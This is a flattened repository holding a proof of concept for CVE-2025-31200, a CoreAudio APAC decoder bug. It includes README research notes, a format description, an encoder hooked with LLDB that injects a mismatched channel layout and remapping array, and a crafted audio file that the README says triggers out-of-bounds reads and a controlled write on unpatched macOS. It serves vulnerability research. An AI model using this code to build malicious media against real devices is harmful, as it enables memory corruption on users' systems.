├── README.md ├── apac.ksy ├── build_encodeme.sh ├── check-mismatch.lldb ├── convertme2.swift ├── encodeme ├── encodeme.mm ├── getaudiolength.swift ├── output.caf ├── resign_avconvert.sh ├── run_encodeme.sh └── run_encodeme_hook.lldb /README.md: -------------------------------------------------------------------------------- 1 | Proof-of-concept for the CoreAudio patch (CVE-2025-31200) in [iOS 18.4.1](https://support.apple.com/en-us/122282). Write-up here https://blog.noahhw.dev/posts/cve-2025-31200/. 2 | 3 | # Update 05/27/2025 4 | I have been able to push this to a *controlled* if not arbitrary write. The writeup is coming soon. In order to see for yourself though, you'll have to build on a version of macos before the patch: < 15.4.1. You can play the audio with the check-mismatch lldb hook (using a simple harness that just plays the audio) in order to see the write. It is not a great arbitrary write yet, as I mentioned above for a few reasons - but mainly because I am still not 100% sure at what stage of the decoding pipeline these values from the frame buffer are at when they are remapped. I am stopping here though to work on the writeup if somebody wants to take it up. 5 | 6 | # Update 05/21/2025 7 | I @noahhw46 (couldn't have done it without this setup @zhouwei) figured it out (writeup coming soon). However, there is still a lot more to understand. I added the first bit of the next steps of my investigation here in order to show exactly what the bug *does*. check-mismatch is another lldb script that can be used with a working poc to show exactly the mismatch that was created between the mRemappingArray and the permutation map in `APACChannelRemapper::Process` (really in `APACHOADecoder::DecodeAPACFrame`). 8 | 9 | ---- 10 | 11 | ``` 12 | The mRemappingArray is sized based on the lower two bytes of mChannelLayoutTag. 13 | By creating a mismatch between them, a later stage of processing in APACHOADecoder::DecodeAPACFrame is corrupted. 14 | When the APACHOADecoder goes to process the APAC frame (permute it according to the channel remapping array), it uses the mRemappingArray as the permutation map to do the well, channel remapping. It seems like the frame data that is being remapped is sized based on mTotalComponenets. 15 | ``` 16 | 17 | When you play the `output.mp4` audio file (e.g. with AVAudioPlayer), `APACChannelRemapper::Process` will read then write out of bounds. 18 | 19 | You can see the first read out of bounds if you enable Guard Malloc in Xcode: 20 | 21 | Xcode displaying crash in APACChannelRemapper::Process 22 | 23 | Without Guard Malloc, `APACHOADecoder::DecodeAPACFrame` will later crash with an invalid `memmove`: 24 | 25 | Xcode displaying crash in _platform_memmove 26 | 27 | ---- 28 | 29 | @zhuowei's Previous README is below: 30 | 31 | 32 | Trying to understand the CoreAudio patch (CVE-2025-31200) in [iOS 18.4.1](https://support.apple.com/en-us/122282). 33 | 34 | I haven't figure it out yet. 35 | 36 | Currently, I get different error messages when decoding `output.mp4` on macOS 15.4.1: 37 | 38 | ``` 39 | error 01:10:26.743480-0400 getaudiolength :548 Invalid mRemappingArray bitstream in hoa::CodecConfig::Deserialize() 40 | error 01:10:26.743499-0400 getaudiolength :860 Error in deserializing ASC components 41 | ``` 42 | 43 | vs Xcode Simulator for visionOS 2.2: 44 | 45 | ``` 46 | error 01:09:21.841805-0400 VisionOSEvaluation APACProfile.cpp:424 ERROR: Wrong profile index in GlobalConfig 47 | error 01:09:21.841914-0400 VisionOSEvaluation APACGlobalConfig.cpp:894 Profile and level data could not be validated 48 | ``` 49 | 50 | so I am hitting the new check, but I don't know how to get it to actually overwrite something. 51 | 52 | ## info on the changed function 53 | 54 | The changed function [seems](https://github.com/blacktop/ipsw-diffs/blob/main/18_4_22E240__vs_18_4_1_22E252/README.md) to be `apac::hoa::CodecConfig::Deserialize` in `/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs`. 55 | 56 | APAC is [Apple Positional Audio Codec](https://support.apple.com/en-by/guide/immersive-video-utility/dev4579429f0/web#:~:text=Apple%20Positional%20Audio%20Codec) 57 | 58 | HOA is [Higher-order Ambisonics](https://en.wikipedia.org/wiki/Ambisonics#Higher-order_Ambisonics). 59 | 60 | If you look at a [sample file from ffmpeg issue tracker](https://trac.ffmpeg.org/ticket/11480): 61 | 62 | ``` 63 | $ avmediainfo ~/Downloads/clap.MOV 64 | Asset: /Users/zhuowei/Downloads/clap.MOV 65 | <...> 66 | Track 3: Sound 'soun' 67 | Enabled: No 68 | Format Description 1: 69 | Format: APAC 'apac' 70 | Channel Layout: High-Order Ambisonics, ACN/SN3D 71 | Sample rate: 48000.0 72 | Bytes per packet: 0 73 | Frames per packet: 1024 74 | Bytes per frame: 0 75 | Channels per frame: 4 76 | Bits per channel: 0 77 | System support for decoding this track: Yes 78 | Data size: 43577 bytes 79 | Media time scale: 48000 80 | Duration: 0.898 seconds 81 | Estimated data rate: 363.142 kbit/s 82 | Extended language tag: und 83 | 1 segment present 84 | Index Media Start Media Duration Track Start Track Duration 85 | 1 00:00:00.000 00:00:00.898 00:00:00.000 00:00:00.898 86 | Member of alternate group 0: (2, 3) 87 | ``` 88 | 89 | You can convert to APAC with `afconvert -o sound440.m4a -d apac -f mp4f sound440hz.wav`. 90 | 91 | Using `bindiff` on iOS 18.4.1 vs 18.4, it seems reading the `mRemappingArray` now checks the global `AudioChannelLayout*` at offset 0x58 for the number of channels instead of the remapping `AudioChannelLayout*` at offset 0x78. 92 | 93 | The `encodeme.mm` file encodes APAC, and an LLDB script forces extra elements into `mRemappingArray` and the remapping `AudioChannelLayout`: 94 | 95 | ``` 96 | ./build_encodeme.sh 97 | ./run_encodeme.sh 98 | ``` 99 | 100 | -------------------------------------------------------------------------------- /apac.ksy: -------------------------------------------------------------------------------- 1 | meta: 2 | id: apac 3 | bit-endian: be 4 | endian: le 5 | seq: 6 | - id: a 7 | type: b16 8 | - id: global_config 9 | type: apac_global_config 10 | types: 11 | apac_global_config: 12 | seq: 13 | - id: f0_20 14 | type: b6 15 | - id: f1_22 16 | type: b4 17 | - id: f2_128 18 | type: b1 19 | - id: mp4_sample_rate_24 20 | type: b6 21 | - id: f4_29 22 | type: b6 23 | - id: num_channels_180 24 | type: b8 25 | - id: f6_12c 26 | type: b8 27 | - id: f7_129 28 | type: b1 29 | - id: asc_config_count 30 | type: b3 # varint: 6u, 12u - 3 bits, 6 bits, 12 bits respectively 31 | - id: asc_config 32 | type: apac_global_config_audio_scene_component_config 33 | repeat: expr 34 | repeat-expr: asc_config_count 35 | - id: f_179 36 | type: b1 37 | - id: f_148_count 38 | type: b3 # varint: 6u, 12u 39 | if: f_179 40 | # more stuff 41 | apac_global_config_audio_scene_component_config: 42 | seq: 43 | - id: f0_2a 44 | type: b8 45 | - id: asc_type 46 | type: b3 47 | - id: asc 48 | type: 49 | switch-on: asc_type 50 | cases: 51 | 0: apac_chan_codec_config 52 | 1: apac_obj_codec_config 53 | 2: apac_hoa_codec_config 54 | 3: apac_stic_codec_config 55 | 4: apac_spch_codec_config 56 | 5: apac_passthrough_codec_config 57 | apac_chan_codec_config: 58 | seq: 59 | - id: dummy 60 | type: b1 61 | apac_obj_codec_config: 62 | seq: 63 | - id: dummy 64 | type: b1 65 | apac_hoa_codec_config: 66 | seq: 67 | - id: write_num_hoa_coeffs_f_47 68 | type: b1 69 | - id: f_40 70 | type: b1 71 | - id: write_f_42_f_41 72 | type: b1 73 | - id: f_42 74 | type: b1 75 | if: write_f_42_f_41 76 | - id: f_43 77 | type: b1 78 | - id: f_45 79 | type: b1 80 | - id: f_46 81 | type: b1 82 | - id: write_fc_f_4c 83 | type: b1 84 | - id: f_fc 85 | type: b2 86 | if: write_fc_f_4c 87 | - id: f_100 88 | type: apac_varint_6_8 89 | if: write_fc_f_4c 90 | - id: f_50 91 | type: b2 92 | - id: f_f8 93 | type: b2 94 | - id: f_6c 95 | type: b2 96 | - id: num_hoa_coeffs_f_5c 97 | type: b7 # varint? 98 | if: write_num_hoa_coeffs_f_47 == false 99 | - id: some_other_thing_hoa_order_5c 100 | type: apac_varint_6_8 101 | if: write_num_hoa_coeffs_f_47 102 | - id: num_subbands_4_sc_count_60 103 | type: apac_varint_6_8 104 | - id: fancy_num_coeffs_calc_100 105 | type: b4 #b2 # variable - this is 3,2 for 4 chan... or 0,4 for 16 chan?! 106 | - id: num_subbands_4_sc 107 | type: apac_hoa_subband_4_sc 108 | repeat: expr 109 | repeat-expr: num_subbands_4_sc_count_60.value 110 | - id: f_44 111 | type: b1 112 | # these are tied to 100... 113 | - id: something_after_f44 114 | type: b1 115 | if: false # f_44 == false # 16 channel doesn't have? 116 | # also tied to write_f_42_f_41 117 | - id: tce_config_count 118 | type: b5 # varint: <10u, 16> 119 | - id: tce_config 120 | type: b3 121 | repeat: expr 122 | repeat-expr: tce_config_count 123 | - id: remap_layout_is_zero_78 124 | type: b1 125 | - id: audio_channel_layout_tag_top # also 78 126 | type: b16 127 | - id: audio_channel_layout_tag_bottom 128 | type: b16 129 | - id: has_remapping_array_e0 130 | type: b1 131 | # if true there's a repeat here 132 | # num bits = floor(log2f(audio_channel_layout_tag_bottom)+0.001) 133 | 134 | apac_hoa_subband_4_sc: 135 | seq: 136 | - id: f_90 137 | type: b4 # varint: <6u, 8u> 138 | - id: f_a8 139 | type: b2 # is it? 140 | if: _parent.write_num_hoa_coeffs_f_47 141 | # TODO 142 | 143 | apac_stic_codec_config: 144 | seq: 145 | - id: f0_50 146 | type: b1 147 | - id: f1_38 148 | type: b20 149 | - id: inner_count 150 | type: b5 # varint: 10u, 16u 151 | - id: inner 152 | type: apac_stic_codec_config_inner 153 | repeat: expr 154 | repeat-expr: inner_count 155 | apac_stic_codec_config_inner: 156 | seq: 157 | - id: length 158 | type: b8 159 | - id: entry_type 160 | type: b3 161 | - id: too_long_didn_t_write 162 | type: b1 163 | repeat: expr 164 | repeat-expr: length 165 | apac_spch_codec_config: 166 | seq: 167 | - id: dummy 168 | type: b1 169 | apac_passthrough_codec_config: 170 | seq: 171 | - id: dummy 172 | type: b1 173 | apac_varint_6_9: 174 | # -webide-representation: '{value:hex}' 175 | seq: 176 | - id: f0 177 | type: b3 178 | - id: f1 179 | type: b6 180 | if: f0 == 0x7 181 | - id: f2 182 | type: b9 183 | if: f1 == 0x3f 184 | instances: 185 | value: 186 | value: "f0" 187 | apac_varint_6_8: 188 | # -webide-representation: '{value}' 189 | seq: 190 | - id: f0 191 | type: b4 192 | - id: f1 193 | type: b6 194 | if: f0 == 0xf 195 | - id: f2 196 | type: b8 197 | if: f1 == 0x3f 198 | instances: 199 | value: 200 | value: "f0" 201 | -------------------------------------------------------------------------------- /build_encodeme.sh: -------------------------------------------------------------------------------- 1 | clang++ -g -Os -o encodeme -std=c++23 -fmodules -fcxx-modules -fobjc-arc encodeme.mm 2 | -------------------------------------------------------------------------------- /check-mismatch.lldb: -------------------------------------------------------------------------------- 1 | b -n APACChannelRemapper::Process 2 | breakpoint command add 3 | #input vector length in bits 4 | expr uint64_t $in_vec_size = *(uint64_t*)($x1+0x8)-*(uint64_t*)($x1) 5 | expr uint64_t $num_bytes = $in_vec_size/8 6 | expr uint64_t $ctrl_vec_len = *(uint64_t*)($x0+0x10)-*(uint64_t*)($x0+0x8) 7 | #The size of ctrl vec: 8 | p $ctrl_vec_len 9 | #The size of in_vec in bytes: 10 | p $num_bytes 11 | #All the 'pointers' that will be permuted 12 | memory read --count `$ctrl_vec_len` --format hex --size 8 -- *(uint64_t*)$x1 13 | #the value (if any) at the first pointer in ctrl_vec_len 14 | expr uint64_t $ptrval = *(uint64_t*)*(uint64_t*)*(uint64_t*)$x1 15 | p $ptrval 16 | DONE 17 | breakpoint modify --auto-continue true 1 18 | r 19 | -------------------------------------------------------------------------------- /convertme2.swift: -------------------------------------------------------------------------------- 1 | import AVFAudio 2 | 3 | // https://github.com/robertncoomber/NativeiOSAmbisonicPlayback/blob/main/NativeiOSAmbisonicPlayback/Code/AmbisonicPlayback.swift#L37 4 | 5 | let formatIn = AVAudioFormat( 6 | commonFormat: .pcmFormatFloat32, sampleRate: 44100, channels: 1, interleaved: false)! 7 | 8 | var outputDescription = AudioStreamBasicDescription( 9 | mSampleRate: 44100, 10 | mFormatID: kAudioFormatAPAC, 11 | mFormatFlags: 0, 12 | mBytesPerPacket: 0, 13 | mFramesPerPacket: 0, 14 | mBytesPerFrame: 0, 15 | mChannelsPerFrame: 16, 16 | mBitsPerChannel: 0, 17 | mReserved: 0) 18 | let channelLayout = AVAudioChannelLayout(layoutTag: kAudioChannelLayoutTag_HOA_ACN_SN3D | 16)! 19 | let formatOut = AVAudioFormat(streamDescription: &outputDescription, channelLayout: channelLayout)! 20 | 21 | guard let converter = AVAudioConverter(from: formatIn, to: formatOut) else { 22 | print("no converter") 23 | exit(0) 24 | } 25 | let magicCookie = converter.magicCookie! 26 | try! magicCookie.write(to: URL(filePath: "apac_hoa.dat")) 27 | -------------------------------------------------------------------------------- /encodeme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuowei/apple-positional-audio-codec-invalid-header/4c11d97bde3f5d8aa7a9b1354dda9e67673f6984/encodeme -------------------------------------------------------------------------------- /encodeme.mm: -------------------------------------------------------------------------------- 1 | @import AVFAudio; 2 | @import AudioToolbox; 3 | 4 | #include 5 | 6 | struct CodecConfig { 7 | char padding0[0x78]; // 0 8 | AudioChannelLayout* remappingChannelLayout; // 0x78 9 | char padding1[0xe0 - 0x80]; // 0x80 10 | std::vector mRemappingArray; // 0xe0 11 | }; 12 | 13 | void OverrideApac(CodecConfig* config) { 14 | //the exact tag given here is extremely important. 15 | //The difference between the tag given here and the channelnum influences the heap layout. 16 | //With these exact values, it almost always ends up such that the 13th pointer in the permuted input vector 17 | //is the same address as the tenth one (i am not sure why yet, but the object that is there just happens to have that pointer as its first field perhaps). 18 | // This makes it so when the pointers are later dereferenced, there is no segfault. 19 | //If you pick, for example, 13 and then 10 as the channelnum, it will segfault much earlier. 20 | config->remappingChannelLayout->mChannelLayoutTag = kAudioChannelLayoutTag_HOA_ACN_SN3D | 13; 21 | config->mRemappingArray.push_back(0x3); 22 | } 23 | 24 | int main() { 25 | uint32_t channelNum = 12; 26 | AVAudioChannelLayout* channelLayout = 27 | [AVAudioChannelLayout layoutWithLayoutTag:kAudioChannelLayoutTag_HOA_ACN_SN3D | channelNum]; 28 | 29 | AVAudioFormat* formatIn = [[AVAudioFormat alloc] initWithCommonFormat:AVAudioPCMFormatInt32 30 | sampleRate:44100 31 | interleaved:YES 32 | channelLayout:channelLayout]; 33 | 34 | AudioStreamBasicDescription outputDescription{.mSampleRate = 44100, 35 | .mFormatID = kAudioFormatAPAC, 36 | .mFormatFlags = 0, 37 | .mBytesPerPacket = 0, 38 | .mFramesPerPacket = 0, 39 | .mBytesPerFrame = 0, 40 | .mChannelsPerFrame = channelNum, 41 | .mBitsPerChannel = 0, 42 | .mReserved = 0}; 43 | 44 | 45 | NSURL* outUrl = [NSURL fileURLWithPath:@"output.caf"]; 46 | 47 | OSStatus status = 0; 48 | 49 | ExtAudioFileRef audioFile = nullptr; 50 | status = 51 | ExtAudioFileCreateWithURL((__bridge CFURLRef)outUrl, kAudioFileCAFType, &outputDescription, 52 | channelLayout.layout, kAudioFileFlags_EraseFile, &audioFile); 53 | if (status) { 54 | fprintf(stderr, "error ExtAudioFileCreateWithURL: %d\n", status); 55 | return 1; 56 | } 57 | 58 | status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientDataFormat, 59 | sizeof(AudioStreamBasicDescription), formatIn.streamDescription); 60 | if (status) { 61 | fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status); 62 | return 1; 63 | } 64 | status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientChannelLayout, 65 | sizeof(AudioChannelLayout), formatIn.channelLayout.layout); 66 | if (status) { 67 | fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status); 68 | return 1; 69 | } 70 | 71 | const int frameCount = 44100; 72 | const int bufferSize = 44100 * channelNum; 73 | int* audioBuffer = new int[bufferSize](); 74 | 75 | for (int frame = 0; frame < frameCount; frame++) { 76 | for (int ch = 0; ch < channelNum; ch++) { 77 | audioBuffer[frame * channelNum + ch] = 0xff; 78 | } 79 | } 80 | 81 | 82 | AudioBufferList audioBufferList{ 83 | .mNumberBuffers = 1, 84 | .mBuffers = 85 | { 86 | { 87 | .mNumberChannels = channelNum, 88 | .mDataByteSize = static_cast(bufferSize * sizeof(int)), 89 | .mData = audioBuffer, 90 | }, 91 | }, 92 | }; 93 | 94 | status = ExtAudioFileWrite(audioFile, frameCount, &audioBufferList); 95 | if (status) { 96 | fprintf(stderr, "error ExtAudioFileWrite: %d\n", status); 97 | delete[] audioBuffer; 98 | return 1; 99 | } 100 | 101 | status = ExtAudioFileDispose(audioFile); 102 | if (status) { 103 | fprintf(stderr, "error ExtAudioFileDispose: %d\n", status); 104 | } 105 | 106 | delete[] audioBuffer; 107 | audioFile = nullptr; 108 | return 0; 109 | } 110 | -------------------------------------------------------------------------------- /getaudiolength.swift: -------------------------------------------------------------------------------- 1 | import AVFoundation 2 | 3 | let asset = AVURLAsset(url: URL(filePath: "output.mp4")) 4 | print(asset.duration) 5 | -------------------------------------------------------------------------------- /output.caf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuowei/apple-positional-audio-codec-invalid-header/4c11d97bde3f5d8aa7a9b1354dda9e67673f6984/output.caf -------------------------------------------------------------------------------- /resign_avconvert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | lipo -thin arm64e /usr/bin/afconvert -output afconvert_arm64e 3 | dd if=/dev/zero bs=4 seek=2 count=1 of=afconvert_arm64e conv=notrunc 4 | codesign --sign - -f afconvert_arm64e 5 | -------------------------------------------------------------------------------- /run_encodeme.sh: -------------------------------------------------------------------------------- 1 | rm output.mp4 2 | lldb ./encodeme --source run_encodeme_hook.lldb --batch 3 | -------------------------------------------------------------------------------- /run_encodeme_hook.lldb: -------------------------------------------------------------------------------- 1 | b apac::hoa::CodecConfig::Serialize 2 | breakpoint command add 3 | print OverrideApac((CodecConfig*)$x0) 4 | DONE 5 | breakpoint modify --auto-continue true 6 | run --------------------------------------------------------------------------------